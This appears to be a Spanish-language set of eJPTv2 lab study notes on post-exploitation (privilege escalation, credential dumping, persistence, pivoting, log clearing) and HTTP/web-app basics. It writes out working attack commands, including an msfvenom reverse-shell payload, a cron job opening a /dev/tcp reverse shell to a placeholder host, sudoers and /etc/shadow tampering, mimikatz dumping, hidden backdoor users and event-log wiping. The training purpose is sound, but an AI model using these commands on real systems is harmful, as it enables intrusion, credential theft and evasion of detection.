Comandos Explicacion
getuid
shell
net localgroup adminsitrators Vemos nuestro usuario

En otra terminal

msfvenom -p /windows/meterpreter/reverse_tcp LHOST=<IP_LOCAL> LPORT=<PUERTO_LOCAL> -f exe > reverse.exe
msfconsole -q
use multi/handler
set lhost <IP_LOCAL>
set lport <PUERTO_LOCAL>
run

De vuelta a la session abierta

upload /reverse.exe
upload /Akagi64.exe
/Akagi64.exe 23 C:\reverse.exe

En el listener multi/handler

[[4. Enumeracion MSF]]

sysinfo Hemos obtenido una Meterpreter
getuid
ps -S lsass
migrate PID
hashdump

eJPTv2

1. Access Token Impersonate

Incognito

Modulo de MSF que antes era una app para impersonar tokens tras explotacion Podemos usarlo para ver una lista de tokens que podemos impersonar

SITUACION: tenemos una shell en el sistema objetivo y tras hacer whoami /priv o getprivs (Meterpreter) tenemos SeImpersonatePrivilege

Desde Meterpreter

Comandos Explicacion
getprivs Vemos que tenemos SeImpersonatePrivilege
load incognito
list_tokens -u Lista los usuarios a los que podemos impersonar tokens
impersonate_token “USER”
getuid
getprivs
list_tokens -u Puede ser que veamos un usuario con privs mayores que antes no veiamos

Puede haber la situacion en la que no haya access tokens disponibles con privilegios. En ese caso para usar potato attack que crea un NT AUTHORITY\SYSTEM Token para conseguir sus privs

EJEMPLO INCOGNITO

![[Pasted image 20260317203205.png]]

eJPTv2

1. Privscheck

PrivescChechk: es un script de enumeracion que se puede aprovechar para la escalada de privilegios. Recopila varia info que puede ser util para la explotacion y post explotacion

https://github.com/itm4n/PrivsCheck

Comandos

PrivsCheck ya esta descargado en el objetivo

powershell -ep bypass -c “. .\PrivescCheck.ps1; Invoke-PrivescCheck”
Viene en la URL de github en Usage

Realiza todas las comprobaciones y al final envia un resumen, si encuentra resultados se ve asi:

-> N result(s)

Encuentra:
- Users
- Groups
- Servicios
- Creds…
Viene la vulnerabilidad con una descripcion y resultados si los hay

eJPTv2

1. Kernel Exploits

Herramientas

Linux-Exploit-Suggester: esta herramienta esta dise;ada para ayudar a detectar deficiencias del Linux Kernel

Esta en https://github.com/mzet-/linux-exploit-suggester

LAS TECNICAS DE ESTA PARTE SE HACEN SOBRE UN UBUNTU 12.04

Comandos

Empezamos directamente con una sesion meterpreter del target para directamente empezar con la escalada de privs

En nuestro sistema: wget URL/Linux-Exploit-Suggester https://github.com/mzet-/linux-exploit-suggester
Comandos Explicacion
cd /tmp
upload /ruta/…les.sh
shell
/bin/bash -i
chmod +i les.sh
./less.sh Lista las vulnerabilidades en formato CVE.
Nos da:
- Details
- Exposicion
- Tags: nos dice a que distribuciones y versiones afecta. Nos saldra en amarillo entre [] si nuestra version es vuln
- URL para descargarlo
- Comentarios
Usaremos dirtycow2
Abrimos la URL de la vuln CVE en el navegador para entender que es lo que hace ese exploit Dentro nos saldra el codigo que debemos copiar y pegar en un archivo .c
Nos dice como compilarlo y como ejecutarlo
Le damos a download
sudo apt-get install gcc En nuestra kali
mv archivo.c dirty.c
gcc -pthread archivo.c -o dirty -lcrypt Lo compilamos en local
Volemos al meterpreter: upload dirty
shell
/bin/bash -i
chmod +x dirty
./dirty nueva_password Con esto se crea un usuario llamado:
- firefart con las contrasena que le pusimos y con privs root
cat /etc/passwd Vemos que estas firefart
Desde otra terminal: ssh firefart@IP Obtendremos una shell con privs
sudo apt-update
cat /etc/shadow Solo permitido para usuarios root

eJPTv2

1. Chrootkit Como Root Cada Minuto

cat /etc/passwd Tenemos dos usuarios: root y jackie (tienen un /bin/bash)
ps aux Vemos un bin ejecutado por el admin
cat /bin/check-down Se ejecuta cada minuto chkrootkit
chkrootkit –help
chkrootkit -V Nos da una version vulnerable (anteriores a 0.50)
bg
search chkrootkit
use
show options
set chkrootkit /bin/chkrootkit
set session N
set lhost eth1
run

eJPTv2

2. Cronjobs Mal Configurados

ls -la /etc/cron* cat /etc/cron* Ver todos los cronjobs y sus permisos

crontab -l Lista los crontabs del usuario
ls -la Veremos que aunque estamos en la carpeta del usuario student hay un archivo creado por root. Esto puede deberse a un cronjon
cat archivo No tendremos privs ya que lo creo el root
cd /
grep -rnw /usr -e “/home/student/message” Hace una búsqueda recursiva dentro del directorio /usr buscando la cadena exacta

Encontramos un copy.sh en /usr/local/share y vemos que su interior pone: cp /home/student/message /tmp/message
ls -la tmp
cat /tmp/message
ls -la /usr/local/share/copy.sh Veremos que esta creado por el usuario root, pero si miramos los privilegios veremos que todos los usuarios pueden leerlo, escribirlo y ejecutarlo: -rwxrwxrwx
cat /usr/share/copy.sh Veremos el contenido que ejecuta comandos de bash
printf ‘#!/bin/bash\necho “student ALL=NOPASSWD: ALL” >> /etc/sudoers’ > /usr/local/share/copy.sh Usamos printf porque no hay vim, nano…
cat /usr/local/share/copy.sh Nos saldra lo que hemos puesto
Esperamos unos minutos
sudo -l Nos saldra que podemos ejecutar los siguientes comandos:

NOPASSWD: ALL
sudo su
whoami

eJPTv2

1. Binarios Suid

En adicion a los 3 tipos de permisos de acceso (read, write y execute) Linux tiene un permiso especial que puede ser usado en algunas ocasiones. Uno de estos permisos especiales es el SUID

Cuando este permiso es dado, le da la habilidad al usuario de ejecutar el script o binario con permisos del creador del archivo

Comandos

Comandos Explicacion
whoami
groups student
ls -la Vemos que el archivo welcome esta creado por el usuario root y vemos que tenemos permisos de ejecucion: -rwsr-xr-x

- La ultima x significa que cualquier user puede ejecutarlo
- Tambien vemos que tenemos permisos SUID (primera s) lo que significa que cuando ejecutemos ese archivo se hara con privilegios de su owner (root)
./welcome Si intentasemos ejecutar el otro archivo (welcome) nos daria denegado
file welcome Para saber mas informacion del archivo (Podria tener missing share objects pero en este caso no los tiene)
strings welcome Sirve para extraer y mostrar las cadenas de texto legibles que hay dentro de un archivo binario. Dentro vemos una cadena que pone greetings, se podria suponer que welcome esta llamando a greatings. Podriamos cambiarlo como para que ejecute una terminal y cuando ejecutemos welcome abra una terminal con privs
rm greatings
cp /bin/bash greetings
./welcome Obtenemos una terminal con los privs del usuario propietario de welcome

eJPTv2

1. Permisos Debiles En Archivos

find / -not -type l -perm -o+w Lista los archivos desde la raiz a los que podemos escribir todos los usuarios del sistema

/etc/shadow puede ser modificado por todos los usuarios. Muy mala practica
cat /etc/shadow
ls -la /etc/shadow Podemos leer y escribir
openssl passwd -1 -salt abc password Crear un hash con salt formato para /etc/shadow
nano /etc/shadow Pegamos el hash en el lugar de *
su Nos pide el password

eJPTv2

1. Sudo Privs

Comandos Explicacion
cat /etc/passwd Objetivo root
sudo -l Ver nuestros privs

Vemos que tenemos como NOPASSWD el /usr/bin/man para ejecutarlo como root
man ls
sudo man ls Podemos usarlo como root sin poner password
Dentro del man podemos: !/bin/bash Como se ejecuta como root nos da una shell root
cat /root/flag

Se puede buscar en google como escalar privs en ese binario sin password

eJPTv2

1. Linenum

LinEnum: es un bash script simple que automatiza la enumeracion local y verificar vulns de priv escalation

https://github.com/rebootuser/LinEnum

LinEnum: (https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh)

copiar y pegar en un archivo llamado (LinEnum.sh)
sessions N
cd /tmp
upload /ruta/LinEnum.sh
shell
/bin.bash -i
id Somos un usuario sin privs
whoami
cat /etc/passwd No tenemos ni shell configurada
chmod +x Linenum.sh
sed -i ‘s/\r$//’ LinEnum.sh SI DA ERRORES AL EJECUTAR LinEnum.sh
./LinEnum.sh Encuentra info de:
- Kernel info
- Release info (SO, version…)
- Hostname
- Users/groups
- Logged on
- /etc/passwd
- Variables para el usuario
- Paths
- Shells
- Pass info
- Cron jobs
- Network info
- Servicios
- Binarios sobre los que tenemos permisos
- Compiladores
- SUID binaries
- Conf files

Y mas

Ejemplo

LinEnum, vamos desde nuestro bworser personal fuera del VM: le damos a Raw ![[Pasted image 20260308160525.png]]

Copiamos todo ![[Pasted image 20260308160536.png]]

De vuelta a la VM ![[Pasted image 20260308160545.png]]![[Pasted image 20260308160547.png]]

Ctl+Shift+Alt (ya lo he pegado en el archivo pero ahí debe aparecer lo que tenemos en el portapapeles de fuera del VM) ![[Pasted image 20260308160556.png]]

Copiamos y pegamos en el archivo ![[Pasted image 20260308160606.png]]

Ahí ya lo transferiríamos a meterpreter y lo ejecutaríamos ![[Pasted image 20260308160614.png]]![[Pasted image 20260308160617.png]]![[Pasted image 20260308160620.png]]![[Pasted image 20260308160623.png]]![[Pasted image 20260308160626.png]]

eJPTv2

1. Lsass Y Hashdump

Tras escalar privs si en un Meterpreter podemos migrar a lsass la shell como AUTHORITY\SYSTEM podemos usar el hashdump

sysinfo Hemos obtenido una Meterpreter
getuid Somos AUTHORITY\SYSTEM
ps -S lsass
migrate PID
hashdump Obtenemos los hashes

eJPTv2

2. Buscando Passwords En Config Files

Windows puede automatizar repetitive tasks. Esto lo realiza Unattended Windows Setup que es usado para automatizar en masa la instalacion y deployment de un Windows System

  • C:\Windows\Panther\Unattend.xml
  • C:\Windows\Panther\Autounattend.xml

Meterpreter –> search -f Unnatend.xml

Ejemplo

![[Pasted image 20260317230051.png]]![[Pasted image 20260317230118.png]]![[Pasted image 20260317230145.png]]

eJPTv2

3. Mimikatz Kiwi

Mimikatz es una herramienta de postexplotacion que permite la extraccion de passwords en texto claro, hashes y tickets kerberos de la memoria

El SAM es una archivo de base de datos que guarda hashes de password

Mimikatz requiere de privs

Mimikatz

Comando Explicacion
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
shell
.\mimikatz.exe
privilege::debug Ver si tenemos permisos suficientes para ejecutar mimikatz
lsadump::sam
lsadump::secrets
sekurlsa::logonpasswords Si Windows tiene la configuracion de guardar en texto claro las pass de los logs

Kiwi

Comando Explicacion
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
load kiwi
lsa_dump_sam

eJPTv2

4. Pth

Visto en: [[1. PTH]]

eJPTv2

1. Hashdump Linux

Modulos utiles

linux/gather/hashdump

analyze/check_linux

Comandos

bg
search type:post platform:linux hashdump
use
show options
set session N
run
loot Tendremos el shadow, el passwd y las passwords unshadowed (sin formato para john)

Mas modulos MSF

  • post/multi/gather/ssh_creds
  • post/multi/gather/docker_creds
  • post/linux/gather/hashdump
  • post/linux/gather/ecryptfs_creds
  • post/linux/gather/enum_psk
  • post/linux/gather/enum_xchat
  • post/linux/gather/phpmyadmin_credsteal
  • post/linux/gather/pptpd_chap_secrets
  • post/linux/manage/sshkey_persistence

Ejemplo

![[Pasted image 20260318162037.png]]![[Pasted image 20260318162047.png]]

eJPTv2

1. John

Visto en: [[8. John]]

eJPTv2

2. Hashcat

Visto en: [[9. Hashcat]]

eJPTv2

3. Crack Linux Modulo MSF

search hashdump Queremos el post/linux/gather/hashdump
use post
show options
set session 2
run Nos saca los hashes y nos guarda un unshadowed password file (nos lo guarda en un formato que puede ser crackeado)
use auxiliaary/analyze/crack_linux Nos crackea el hash
set SHA512 true
run

eJPTv2

1. Modulo MSF Persistence Service

Modulo

persistence_service

Ejemplo

search type:post platform:windows persistence Cada una usa una tecnica
Usaremos persistence_service
use Este crea un servicio para la persistencia y cuando tengamos un listener o multi/handler seremos capaces de obtener una sesion meterpreter
set payload windows/x64/meterpreter/reverse_tcp SI NO FUNCIONA EL X64 PONEMOS EL PARA 32BITS
Estos no los pondremos pero –>
set service_name
set remote_exe_name
set remote_exe_path
Queremos que el servicio parezca lo mas legitimo posible
set session N
run
getuid
exit
sessions
sessions -K N Queremos terminar todas las sessiones para ver si hemos establecido persistencia
use multi/handler
set paylaod windows/meterpreter/reverse_tcp
set lhost eth1
set lport N Debe ser el mismo que el que especificamos para crear el servicio
run Nos conectaremos porque el servicio correra incluso tras reinicios
exit
run Probamos otra vez y la seguimos obteniendo

eJPTv2

2. Habilitar El RDP Modulo MSF

Modulo

search enable_rdp

Comandos

search enable_rdp
use
show options
set session N
run
db_nmap -p3389 IP Ahora esta abierto

Ejemplo

![[Pasted image 20260318160325.png]]![[Pasted image 20260318160339.png]]

eJPTv2

1. Comandos Linux Interesantes Para Persistencia

passwd root Le cambiamos la contraseña
password123 Se la establecemos
usradd -m NOMBRE -s /bin/bash Creamos un usuario
passwd NOMBRE
password321

Metodos

Solo funciona si existe un protocolo como ssh en el que nos podamos conectar siempre que podamos

MANUAL

shell
cat /etc/passwd Vemos los usuarios
Nuestro nuevo usuario no debe parecer clandestino
useradd -m NOMBRE -s /bin/bash -m: le crea un directorio propio al usuario
-m /ruta: especificar donde se creara (si no se especifica se creara en /home)
El nombre puede ser algo como ftp, si existiese un servicio ftp
-s: indica el tipo de shell que tenfra
passwd NOMBRE Para ponerles una password
Ahora vamos a darle permisos root
usermod aG root NOMBRE
groups NOMBRE Vemos que pertenece al grupo de root
Si miramos /etc/passwd y miramos :N:N: se ve que este usuario fue creado recientemente. Vamos a hacer que parezca que no es tan reciente
usermod -u N(como 15 por ejemplo) NOMBRE
cat /etc/passwd Veremos que ahora pone :15:N:
exit
bg

AUTOMATICO

NO TODOS FUNCIONARAN, IR PROBANDO

Si hay SSH probar directamente –> sshkey_persistence

Comandos Explicacion
search platform:linux persistence Hay de APT Package, cron, bash, rc.local. autostart desktop…
Primero apt_package_manager_persistence
use
info Este modulo corre un payload cuando el paquete manager es usado. No se configura el multi/handler automaticamente por que hay que configurarlo manualmente
Crea una pre-invocacion del APT en apt.conf.d

Este modulo debido a lo de multi/handler no nos da acceso siempre por lo que este no lo usaremos
Segundo cron_persistence
search platform:linux persistence
use
info Permite crear una tarea programada que nos de acceso al sistema de forma persistente
Se ejecuta cada min mas o menos
set session N
set lport N Uno que no se este usando
set lhost eth1
run Parece no funcionar usamos otro
Tercero service_persistence
search platform:linux persistence
use Trata de crear un servicio en una caja y lo marca como autorun. Necesitamos suficiente acceso como para escribir los archivos y potencialmente reiniciar los servicios
set session N
set payload cmd/unix/reverse_python
set lhost eth1
set lport N Uno no usado
run No funciona
show targets
set target System V
run No funciona
Cuarto sshkey_persistence (lo usamos cuando nuestros intentos fallan y para ser sigilosos)
search platform:linux persistence
use Crea un pub y private key shh y lo añade a todos los directorios de usuario y nos provee el private key para autenticarnos en cualquier usuario sin usar la contraseña
No deja mucho rastro salvo los logs in
show options
set createsshfolder true Por si no tiene un archivo ssh
set session N
run Crea un directorio a todos los usuarios
loot Vemos el private key
cat /privatekey
Lo copiamos
exit -y
nano ssh_key Lo pegamos
chmod 400 ssh_key
ssh -i ssh_key USER@IP

eJPTv2

2. Persistencia Via SSH Keys

Comandos Explicacion
ssh student@IP Pass: password
ls -la Vemos el .ssh
cd .ssh id_rsa es la private key
cat id_rsa
exit
scp student@IP:~/.ssh/id_rsa . Copiamos el id_rsa en nuestra maquina con scp
ls
chmod 400 id_rsa
ssh student@IP -i id_rsa

eJPTv2

3. Persistencia Via Cronjobs

![[Pasted image 20260318185353.png]]

Comandos

Comandos Explicacion
ssh student@IP Pass: password
cat /etc/cron* Vemos los cronjobs
echo “* * * * * /bin/bash -c ‘bash -i >& /dev/tcp/IP_LOCAL/PUERTO 0>&1’” > cron Se ejecutara el cronjob cada minuto, de cada hora, de cada dia, de cada mes, de cada año
cat cron
crontab -i cron Añadir cronjob
crontab -l
exit
nc -nvlp PUERTO Obtenemos el shell

eJPTv2

1. Pivoting

Comandos

run
sysinfo
getuid
ipconfig Veremos las interfaces. Usaremos la Interfaz 12 que es la que se conecta con al red interna
run autoroute -s IP_red/mascara
bg
sessions -n NOMBRE -i 1
search portscan/tcp
use
set rhost IP2
set PORTS 1-100
run Vemos que tiene un puerto 80
sessions 1
portfwd add -l 1234 -p 80 -r IP2
bg
db_nmap -sS -sV -p 1234 localhost Veremos por el puerto 1234 la version (en realidad es el puerto 80 de IP2)
Si abrimos un browser y ponemos 127.0.0.1:1234 veremos el codigo de la pagina web de IP2
search badblue_passthru
use
set payload windows/meterpreter/bind_tcp Bind porque con reverse no nos llegaria al no tener acceso directo. Tiramos el bind a traves de la maquina comprometida
set rhosts IP2
set lport N Un puerto que no haya sido usado
run Obtenemos un meterpreter en IP2
sysinfo
getuid
bg
sessions -n NOMBRE -i 2

Ejemplo

![[Pasted image 20260318160905.png]]![[Pasted image 20260318160938.png]]

eJPTv2

2. Proxychains

run autoroute -s IP_red_interna/mascara Esto nos permitira enviar comandos a esta red desde fuera
bg Ponemos la sesion en background
Volvemos a nuestra propia maquina y miramos: cat /etc/proxychains4.conf para ver si existe

Nos quedamos con la linea socks4 127.0.0.1 N. N es el puerto que le tendremos que espcificar al modulo
Como existe necesitaremos usar el modulo de socks
Volvemos a MSF
search socks
use auxiliary/server/socks_proxy
set version 4a
set srvport 9050(N)
run Se correra en segndo plano
Ahora si vamos a nuestra maquina normal podremos lanzar comandos a la IP interna con poner proxychains delante
proxychains nmap -Pn -sS -sV -p 445 demo1.local.ine Vemos que llega ahora y vemos que es un sistema Windows

eJPTv2

1. Limpiando Windows

El SO Windows guarda y cataloga todas las acciones y eventos relacizados en el sistema y los guarda en Windows Event Log

Descarga de archivos

Descargar todo en C:/Temp o crearlo sino existe

cd C:\Temp

o

mkdir C:\Temp
cd C:\Temp
Nos movemos al directorio Temp o lo creamos y nos movemos a este
upload /usr/share/windows-binaries/nc.exe
rm nc.exe Al acabar elimianrlo

Limpiar Event Logs desde Meterpreter

clearev Borra los Event Log

eJPTv2

2. Limpiando Linux

Descargas de archivos

Descargar todo en /tmp o crearlo sino existe

cd /tmp

o

mkdir /tmp
Cuando se reinicie la maquina todos los archivos se borraran

Borrar historial de comandos

history Muestra los comandos ejecutados
history -c Limpia el history
cat /dev/null > ~/.bash_history Limpiar el archivo .bash_history si existe

eJPTv2

Indice Postexplotacion

  1. Enumeracion del sistema y mejora del shell

    1. Mejorar shell

      1. [[1. Mejorando Shell a Meterpreter desde MSF]]
    2. Enumeracion MSF y Meterpreter

      1. [[1. Enumeracion MSF - meterpreter]]
      2. [[2. Modulos MSF Enumeracion PostExplotacion Windows]]
      3. [[3 Modulos MSF Enumeracion PostExplotacion Linux]]
    3. Enumeracion manual

      1. Windows

        1. [[6. Post-Explotacion/1. Enumeracion del sistema y mejora del shell/3. Enumeracion Manual/1. Windows/1. Enumeracion de informacion del sistema|1. Enumeracion de informacion del sistema]]
        2. [[2. Enumeracion de Users y Grupos]]
        3. [[3. Enumeracion local]]
        4. [[4. Enumeracion Procesos y Servicios]]
        5. [[5. Automatica]]
      2. Linux

        1. [[6. Post-Explotacion/1. Enumeracion del sistema y mejora del shell/3. Enumeracion Manual/2. Linux/1. Enumeracion de informacion del sistema|1. Enumeracion de informacion del sistema]]
        2. [[2. Enumeracion de usuarios y grupos]]
        3. [[3. Enumeracion de red]]
        4. [[4. Enumeracion Procesos y cronjobs]]
        5. [[5. Automatico]]
  2. Escalada de Privilegios

    1. Windows

      1. Kernel Exploits
        1. [[1. Windows-Exploit-Suggester]]
      2. Bypassing UAC
        1. [[1. Bypassing UAC]]
      3. Access Token Impersoante
        1. [[1. Access Token Impersonate]]
      4. Automatizacion identificar escalada
        1. [[1. PrivsCheck]]
    2. Linux

      1. Kernel Exploits
        1. [[1. Kernel Exploits]]
      2. Cronjobs mal configurados
        1. [[1. Chrootkit como root cada minuto]]
        2. [[2. Cronjobs mal configurados]]
      3. SUID binarios
        1. [[1. Binarios SUID]]
      4. Permisos debiles
        1. [[1. Permisos debiles en archivos]]
      5. Sudo Privs
        1. [[1. Sudo Privs]]
      6. Autoamatizacion identificar escalada
        1. [[1. LinEnum]]
  3. Credential Dumping

    1. Windows

      1. [[1. Lsass y Hashdump]]
      2. [[2. Buscando Passwords en Config Files]]
      3. [[3. Mimikatz - Kiwi]]
      4. [[4. PTH]]
    2. Linux

      1. [[1. Hashdump Linux]]
    3. Crackeando hashes

      1. [[1. John]]
      2. [[2. Hashcat]]
      3. [[3. Crack_Linux Modulo MSF]]
  4. Persistencia

    1. Windows

      1. [[1. Modulo MSF - Persistence_Service]]
      2. [[2. Habilitar el RDP - Modulo MSF]]
    2. Linux

      1. [[1. Comandos Linux Interesantes para persistencia]]
      2. [[2. Persistencia via SSH Keys]]
      3. [[3. Persistencia via cronjobs]]
  5. Pivoting

    1. [[1. Pivoting]]
    2. [[2. Proxychains]]
  6. Limpiando

    1. [[1. Limpiando Windows]]
    2. [[2. Limpiando Linux]]

eJPTv2

1. Webserver Vs Webapp

  1. Webserver: sw que sirve el contenido web al cliente

    1. Recibe peticiones HTTP y devuelve contenido HTML, CSS, JS…
    2. Ejemplos: Apache HTTP Server, Nginx, IIS…
  2. Webapp: logica:

    1. Logica y funcionalidad web
    2. Como se procesan los datos, interaccion BBDD, login…

Arquitectura webapp

![[Pasted image 20260318190824.png]]![[Pasted image 20260318190841.png]]

eJPTv2

1. Solicitudes HTTP

Ejemplo de Solicitud HTTP

![[Pasted image 20260311151046.png]]

Metodos explicados

![[Pasted image 20260311151355.png]]

URL/PATH

Es la direccion donde el recurso/URI del cliente quiere acceder

El home page de una website es siempre /. Otras paginas del website se pueden acceder de asi: /downloads/index.html, por ejemplo

![[Pasted image 20260311151838.png]]

Host Header

Los headers tiene el formato NOMBRE:VALOR

El host header permite al webserver hostear multiples websites en una unica IP. Nuestro browser indica en el host header que website esta interasado en entrear

![[Pasted image 20260311152023.png]]

Host value + PATH = URL –> En este caso –> www.google.com/

User-Agent Header

Se usa para especificar y enviar el navegador, version, SO y lenguaje al servidor remoto. Todos los navegadores tienen su propio user-agent

![[Pasted image 20260311152325.png]]

Accept Header

Usado por el navegador para especificar que tipo de documentos/archivos aceptamos de vuelta

![[Pasted image 20260311152429.png]]

Accept-Encoding Header

Similar a Accept, usado para restringir el contenido encodeado que es aceptable como respuesta. Permite uso de documentos comprimidos o transformados sin perder el formato original y sin perdida de informacion

![[Pasted image 20260311152623.png]]

Connection Header

En HTTP 1.1 puedes mantener/reusar la conexion de un webserver remoto por un tiempo ilimitado usando keep-alive

Esto indica que todas las solicitudes al webserver continuaran enviandose a lo largo de la conexion sin iniciar una nueva conexion cada vez

![[Pasted image 20260311152906.png]]

eJPTv2

2. Respuestas HTTP

  1. Response Headers
  2. Response Body (Opcional):

Codigos de estado

![[Pasted image 20260311154132.png]]

Ejemplo de Respuesta a una Solicitud HTTP

![[Pasted image 20260311153952.png]]

Status Line

Primera linea de una respuesta del protocolo HTTP 1.1 seguido del status code (200) y su resultado textual (OK)

![[Pasted image 20260311154108.png]]

Date Header

Usado para indicar el dia y tiempo en el que se realizo la respuesta por el servidor

Ayuda al cliente e intermediarios a entender la velocidad de la respuesta y la sincronizacion

![[Pasted image 20260311154402.png]]

Cache-Control Header

Permite al navegador y al servidor llegar a un acuerdo sobre el cache de reglas. Permite al servidor introducir clientes en el tiempo que puedan responder que se especifique y bajo las condiciones que se decidieron en el servidor

Esto ayuda a optimizar el rendimiento y eficacia de webapps reduciendo solicitudes innecesarias

![[Pasted image 20260311154638.png]]

Directivas Cache: ![[Pasted image 20260311154701.png]]

Content-Type Header

Respuesta HTTP usada para indicar el tipo de medio del contenido de respuesta

Le dice al cliente que tipo de datos de servidor son enviados para que el cliente pueda manejarlo correctamente

![[Pasted image 20260311154918.png]]

Server Header

Muestra el WebServer Banner. Google usa uno customizado (Google Web Server)

![[Pasted image 20260311155010.png]]

eJPTv2

3. HTTP Basic Lab

Comandos

curl -v http://IP/ Con esto hacemos una solicitud basica al sitio web, es decir, un GET / y nos imprime por pantalla la respuesta del webserver

![[Pasted image 20260311180333.png]]

Vemos nuestra solicitud con los headers y la respuesta con los headers del webserver. Debajo de esto arece el body que en este caso es el HTML de la pagina web

![[Pasted image 20260311180612.png]]

curl -I http://IP/ Con el -I estamos enviando en vez de un GET /, enviamos un HEAD /

![[Pasted image 20260311180753.png]]

Vemos que nos devuelve solo los headers de la respuesta

Si usamos -v veremos nuestra solicitud y la respuesta

![[Pasted image 20260311180907.png]]

curl -v -X METHOD http://IP/ En la parte de METHOD podemos especificar cualquier metodo que queramos usar

Por ejemplo usamos el METHOD –> OPTIONS para ver los metodos que podemos usar

![[Pasted image 20260311181117.png]]

Vamos a usar por ejemplo PUT que no esta soportado en este path

![[Pasted image 20260311181315.png]]![[Pasted image 20260311181326.png]]

En la respuesta estamos viendo 405 metodo no permitido. Tambien se muestra en el body

Burp Suite

![[Pasted image 20260311181443.png]] ![[Pasted image 20260311181537.png]]

Recargamos la pagina web en el navegador para que se realice una solicitud y burp suite la interceptara antes de que llegue al webserver

Repater de Burp

Esto es una herramienta que nos permite modificar y enviar rapidamente una solicitud sin tener que estar recargando todo el rato la pagina para hacer una solicitud nueva. Es como una copia de la solicitud capturada que se puede modificar y enviar infinitamente y cambiando los campos que queramos

Vamos a ver un ejemplo del formulario login. Vamos a http://IP/login.php o navegamos con el burp suite encendido a Login. ![[Pasted image 20260311183414.png]]

Burp Suite intercepta la solicitud y la pagina se quedara esperando sin entrar, la enviamos sin modificar nada ya que lo que queremos es probar el formulario: ![[Pasted image 20260311183511.png]]

![[Pasted image 20260311183625.png]]

Una vez aqui lo que queremos en enviar un usuario y pass de testeo para ver como se tramita la solicitud y respuesta (burp encendido):

![[Pasted image 20260311183720.png]]![[Pasted image 20260311183733.png]]

Burp intercepto la solicitud del POST del login

Que vemos nuevo:

  • Metodo POST
  • Campo Referer: de donde se origino la solicitud antes de enviarse
  • Content Type
  • Las creds pasadas en la solicitud separados por parametro:valor&parametro:valor

Lo enviamos al repeater: ![[Pasted image 20260311184211.png]]

Si lo enviamos tal cual vemos que en la respuesta no hay ningun mensaje de error pero no nos has dado acceso (Puede ser que por seguridad simplemente salga info de los errores): ![[Pasted image 20260311215303.png]]

Vamos a hacer tambien un brute force de directorios:

dirb http://IP/ Realizar una fuerza bruta de directorios a la / (se puede especificar un path tipo http://IP/downloads/)

![[Pasted image 20260311215609.png]]![[Pasted image 20260311215740.png]]![[Pasted image 20260311215753.png]]

Vamos a visitar uploads con el burp encendido porque vamos a usar otros metodos que no son GET para ver si podemos subir algo a esta carpeta:

![[Pasted image 20260311215907.png]]

Lo interceptamos y lo mandamos al repeater: ![[Pasted image 20260311215928.png]]

Si lo mandamos tal cual vemos lo siguiente: ![[Pasted image 20260311215958.png]]

Si lo miramos sin burp se ve asi ![[Pasted image 20260311220021.png]]

Volvemos al burp y ponemos el metodo OPTIONS para ver so lo permite: ![[Pasted image 20260311220112.png]]

No vemos que permita PUT pero si vemos que es un DAV que es un servidor que nos permite mover, subir, descargar etc archivos en un web server. Potencialmente podriamos subir un archivo webshell de PHP (ya que era el lenguaje del backend)

curl -v http://IP/uploads –upload-file /ruta/archivo Subir un archivo a una pagina web si lo permite como es el caso de un DAV

![[Pasted image 20260311220422.png]]

Vamos a uploads apagando el proxy burp:

![[Pasted image 20260311220452.png]]

Se subio correctamente. si accedemos a el nos dice como usarlo: ![[Pasted image 20260311220524.png]]

Ponemos en la url lo siguiente: ![[Pasted image 20260311220547.png]]

Para hacer estas consultas mas rapido nos vamos a ayudar del repeater, volvemos a activar el burp y actualizamos la ruta en donde se encuentra el webshell: ![[Pasted image 20260311225549.png]]

![[Pasted image 20260311225746.png]]

Vamos a borrar el webshell de /uploads ya que podiamos ejecutar el metodo DELETE

![[Pasted image 20260311225918.png]]![[Pasted image 20260311225932.png]]![[Pasted image 20260311225950.png]]

Atajo para encodear a URL en repeater

Si seleccionamos algo y hacemos:

  • Ctl U: codificamos en URL (Si le damos varias veces codificamos cada vez mas)
  • Shift + Ctl U: decodificamos formato URL (Si le damos varias veces decodificamos cada vez mas)

Original: ![[Pasted image 20260311231212.png]]

Una vez Ctl U: ![[Pasted image 20260311231236.png]]

Otra vez: ![[Pasted image 20260311231258.png]]

Decodificamos Shift Ctl U: ![[Pasted image 20260311231322.png]]

Otra vez: ![[Pasted image 20260311231337.png]]

eJPTv2

1. Crawling

El rastreo es el proceso de navegar en la aplicacion siguiendo los links, enviando formularios y loggeando donde sea posible con el objetivo de mapear y categorizar la webapp y los paths navegables

Podemos usar Burp Suite para rastreos pasivos que nos ayuden a mappear la aplicacion para un mejor entendimiento

Crawling con Burp

Navegamos a la webapp

![[Pasted image 20260312191728.png]]

Activamos en FoxyProxy el burp ![[Pasted image 20260312191804.png]]

Abrimos burp y lo dejamos apagado ![[Pasted image 20260312191943.png]]

Empezamos a navegar por el website, moviendonos entre hipervinculos y secciones como Login/Register y nos loggeamos…

Tras esto si volvemos a burp y vamos a target veremos todo el trafico y las URLs que hemos visitado al movernos por el webapp: ![[Pasted image 20260312192202.png]]

Si desplegamos lo de la izquierda veremos que esta haciendo una estructura del target: segundo donde estemos pulsando: ![[Pasted image 20260312192242.png]]

Lo ha dividido en http y https

Vemos por ejemplo el POST de nuestro form al intentar loggearnos: ![[Pasted image 20260312192342.png]]

eJPTv2

2. Spidering

Proceso de descubrir automaticamente nuevos recursos (URLs) en una webapp o website

Suele empezar con una lista de URLs llamadas semillas, despues el Spider visita las URLs e identifica hiperlinks en la pagina y los anade a la lista de URLs que visitar y lo repite

Esto puede ser ruidoso y es considerado como una tecnica de recopilacion de informacion activa

Podemos usar OWASP ZAP para automatizar el proceso

Spidering con ZAP

Dejamos el foxy proxy iniciado en burp y ceramos burp. Abrimos ZAP: ![[Pasted image 20260312192743.png]]

Recargamos la pagina y una vez se reinicie vemos

![[Pasted image 20260312192900.png]]

Ahora vamos a Tools > Spider ![[Pasted image 20260312192929.png]]

Configuramos el spider: ![[Pasted image 20260312192951.png]]

Le anadimos un limite de recursividad hacia abajo: ![[Pasted image 20260312193031.png]]

Empezara a generar trafico GET: ![[Pasted image 20260312193101.png]] ![[Pasted image 20260312193121.png]]

Los rojos son hiperlinks externos y los verdes internos

Podemos pausar el scan, crear uno nuevo o pararlo completamente: ![[Pasted image 20260312193300.png]]

Esto es lo que hemos conseguido:

![[Pasted image 20260312193241.png]]

  • Podemos exportar lo generado: ![[Pasted image 20260312193353.png]]![[Pasted image 20260312193401.png]]

